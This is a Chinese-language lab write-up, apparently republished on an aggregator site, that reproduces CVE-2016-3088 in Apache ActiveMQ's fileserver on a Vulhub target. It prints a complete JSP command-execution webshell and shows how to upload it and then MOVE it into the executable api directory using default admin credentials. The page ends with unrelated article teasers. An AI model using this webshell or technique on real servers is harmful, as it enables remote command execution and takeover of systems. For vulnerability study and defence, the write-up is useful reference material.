CVE-2016-3088漏洞复现

news2025/1/20 1:57:41

1.背景介绍。

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

  1. 其使用率并不高
  2. 文件操作容易出现漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

在测试过程中,可以关注ActiveMQ的版本,避免走弯路。

2.环境介绍。

采用kali搭建Vulhub靶场。

靶机:127.0.0.1

环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中。

访问http://172.18.0.1:8161/看到web页面,说明环境已成功运行。

3.漏洞复现。

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

文件写入有几种利用方法:

  1. 写入webshell
  2. 写入cron或ssh key等文件
  3. 写入jar或jetty.xml等库和配置文件

写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。

分别说一下上述几种利用方法。

(1)写入webshell

我们首先要通过账号密码登录

账号:admin
密码:admin

之后访问http://127.0.0.1:8161/admin/test/systemProperties.jsp来获取真实路径

进入/fileserver/目录,抓包写入webshell

复制代码

<%
// 如果请求参数pwd的值为"023"
if("023".equals(request.getParameter("pwd"))){
    // 获取执行命令的参数i
    String cmd = request.getParameter("i");
    // 执行命令并获取子进程的输入流
    java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    // 输出<pre>标签
    out.print("<pre>");
    // 读取子进程的输出流并输出
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    // 输出</pre>标签
    out.print("</pre>");
}
%>

复制代码

注意这时我们虽然写入文件,但我们去访问这个文件时会发现.txt文件并没有被解析

 所以我们还需要将这个文件去移动到一个有执行jsp文件权限的目录下,这时我们就用到了我们在之前查询到的真实路径,还是通过抓包来操作

 我们将webshell写入api目录下,进入/api/查看

 写入成功,进入后根据小马参数构建命令即可

 除此之外,还有其他两种方法利用,但笔者在复现过程中遇到问题较多,没有进行下去,哪位大佬有成功浮现的,踢我一下。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/925729.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

解析跨境电商环境下的撸卡、撸货等业务运作模式

随着亚马逊在国内用户中的流行&#xff0c;越来越多的人做亚马逊测评自养号&#xff0c;作为一个传统的跨境电商平台&#xff0c;亚马逊上有许多进口商品可供购买&#xff0c;在购物过程中&#xff0c;有的是用信用卡下单&#xff0c;有的是用礼品卡下单&#xff0c;也会有一些…

CS144 计算机网络 Lab3:TCP Sender

前言 在 Lab2 中我们实现了 TCP Receiver&#xff0c;负责在收到报文段之后将数据写入重组器中&#xff0c;并回复给发送方确认应答号。在 Lab3 中&#xff0c;我们将实现 TCP 连接的另一个端点——发送方&#xff0c;负责读取 ByteStream&#xff08;由发送方上层应用程序创建…

2023-08-25 LeetCode每日一题(统计二叉树中好节点的数目)

2023-08-25每日一题 一、题目编号 1448. 统计二叉树中好节点的数目二、题目链接 点击跳转到题目位置 三、题目描述 给你一棵根为 root 的二叉树&#xff0c;请你返回二叉树中好节点的数目。 「好节点」X 定义为&#xff1a;从根到该节点 X 所经过的节点中&#xff0c;没有…

低调大佬造车,扒一扒极石01

作者 | 普通一涛 编辑 | 德新 又一个汽车新品牌诞生了。 极石&#xff0c;是的&#xff0c;很多人没有听过。它不是传统汽车品牌&#xff0c;也不是传统主机厂成立的新品牌&#xff0c;而是一家新势力。 乍听名字&#xff0c;极字辈都是高端品牌家族——极狐、极星、极氪、极越…

广场小记

&#xff08;1&#xff09; 广场上有人唱卡拉ok&#xff1a; 女声唱的是&#xff1a;嫁人就要嫁给你 男声唱的是&#xff1a;我爱我的祖国 非常的50年代。 那一代人就是这么真挚、直接、热烈。 那一代人经历60大饥荒、66wg、68上山下乡、80回城个体户、90大下岗。16岁时的他们&…

正确进行自动化测试

前言&#xff1a; &#x1f4d5;作者简介&#xff1a;热爱编程的小七&#xff0c;致力于C、Java、Python等多编程语言&#xff0c;热爱编程和长板的运动少年&#xff01; &#x1f4d8;相关专栏Java基础语法&#xff0c;JavaEE初阶&#xff0c;数据库&#xff0c;数据结构和算法…

惊!同事做汇报都开始卷大屏了,问了一嘴,这个工具小白最好上手

老陈最近出差&#xff0c;去上海的一个公司考察学习&#xff0c;在人家会议室听别人分享的时候&#xff0c;发现大家现在是真的卷&#xff0c;连个普通的汇报都搞了张可视化大屏&#xff0c;直接把公司的核心数据展现得明明白白&#xff0c;鼠标点哪亮哪&#xff0c;真的特别炫…

Effective C++条款16——成对使用new和delete时要采取相同形式(资源管理)

以下动作有什么错? std::string* stringArray new std::string[100]; // ... delete stringArray;每件事看起来都井然有序。使用了new&#xff0c;也搭配了对应的 delete。但还是有某样东西完全错误:你的程序行为不明确&#xff08;未有定义&#xff09;。最低限度&#xff…

水利部推荐的数字孪生水利建设典型案例介绍

2022年以来&#xff0c;水利部先后出台《数字孪生流域建设技术大纲&#xff08;试行&#xff09;》《数字孪生水网建设技术导则&#xff08;试行&#xff09;》《数字孪生水利工程建设技术导则&#xff08;试行&#xff09;》《水利业务“四预”基本技术要求&#xff08;试行&a…

C# 实现 国密SM4/ECB/PKCS7Padding对称加密解密

C# 实现 国密SM4/ECB/PKCS7Padding对称加密解密&#xff0c;为了演示方便本问使用的是Visual Studio 2022 来构建代码的 1、新建项目&#xff0c;之后选择 项目 鼠标右键选择 管理NuGet程序包管理&#xff0c;输入 BouncyCastle 回车 添加BouncyCastle程序包 2、代码如下&am…

iphone手机铃声怎么设置,4个步骤包您学会!

iPhone手机的铃声设置包括很多种&#xff0c;比如来电铃声、短信铃声、语音提醒铃声等等。设置一个动听的铃声也能使人心情愉悦&#xff0c;那么iPhone手机铃声怎么设置呢&#xff1f;还有&#xff0c;有些朋友喜欢将喜欢的音乐设置为铃声&#xff0c;那又该怎么做呢&#xff1…

百度AI智障到AI智能体验之旅

目录 前言一、百度PLATO1.抬杠第一名2.听Ta瞎扯淡3.TA当场去世了4.智障与网友的高光时刻 二、文心一言1.设计测试用例2.随意发问3.手机端约会神器 三、体验总结&#xff1a;四、千帆大模型 前言 最近收到了文心一言3.5大模型的内测资格&#xff0c;正巧之前也体验过它的前身&q…

yolov8实战之torchserve服务化:使用yolov8x来预打标

前言 最近在做一个目标检测的任务&#xff0c;部署在边缘侧&#xff0c;对于模型的速度要求比较严格&#xff08;yolov8n这种&#xff09;&#xff0c;所以模型的大小不能弄太大&#xff0c;所以原模型的性能受限&#xff0c;更多的重点放在增加数据上。实测yolov8x在数据集上…

旺店通·企业版对接打通金蝶云星空订单查询接口与销售出库新增接口

旺店通企业版对接打通金蝶云星空订单查询接口与销售出库新增接口 数据源平台:旺店通企业版 旺店通是北京掌上先机网络科技有限公司旗下品牌&#xff0c;国内的零售云服务提供商&#xff0c;基于云计算SaaS服务模式&#xff0c;以体系化解决方案&#xff0c;助力零售企业数字化智…

聚水潭与金蝶云星空对接集成库存盘点查询打通其他出库单新增V2

聚水潭与金蝶云星空对接集成库存盘点查询打通其他出库单新增V2 来源系统:聚水潭 聚水潭是SaaS协同平台、电商ERP软件。聚水潭成立于2014年&#xff0c;创始人兼CEO骆海东拥有近三十年传统及电商ERP的研发和实施部署经验。聚水潭创建之初&#xff0c;以电商SaaSERP切入市场&…

机器学习算法示例的收集;MetaAI编码工具Code Llama;“天工AI搜索”首发实测

&#x1f989; AI新闻 &#x1f680; Meta推出新一代AI编码工具Code Llama&#xff0c;助力程序员提高开发效率 摘要&#xff1a;Meta推出Code Llama&#xff0c;这是一个基于Llama 2语言模型打造的AI编码工具&#xff0c;能够生成新的代码并调试人类编写的工作。Code Llama可…

【Go Web 篇】Go 语言进行 Web 开发:构建高性能网络应用

随着互联网的快速发展&#xff0c;Web 开发已经成为了软件开发领域中不可或缺的一部分。随之而来的是对于更高性能、更高效的网络应用的需求。在这个领域&#xff0c;Go 语言因其并发性能、简洁的语法以及丰富的标准库而备受关注。本篇博客将深入探讨如何使用 Go 语言进行 Web …

linux入门详解

文章目录 一、引言1.1 开发环境1.2 生产环境1.3 测试环境1.4 操作系统的选择 二、Linux介绍2.1 Linux介绍2.2 Linux的版本2.3 Linux和Windows区别 三、Linux安装3.1 安装VMware3.2 安装Xterm3.3 在VMware中安装Linux3.3.1 选择安装方式3.3.2 指定镜像方式3.3.3 选择操作系统类型…

springboot设置文件上传大小,默认是1mb

问题排查和解决过程 之前做了个项目&#xff0c;需要用到文件上传&#xff0c;启动项目正常&#xff0c;正常上传图片也正常&#xff0c;但这里图片刚好都小于1M&#xff0c;在代码配置文件里面也写了配置&#xff0c;限制大小为500M&#xff0c;想着就没问题&#xff08;测试…

基于NXP i.MX 6ULL核心板的物联网模块开发案例(1)

目录 前 言 1 SDIO WIFI模块测试 1.1 STA模式测试 1.2 AP模式测试 1.3 SDIO WIFI驱动编译 前言 本文主要介绍基于创龙科技TLIMX6U-EVM评估板的物联网模块开发案例&#xff0c;适用开发环境&#xff1a; Windows开发环境&#xff1a;Windows 7 64bit、Windows 10 64bit …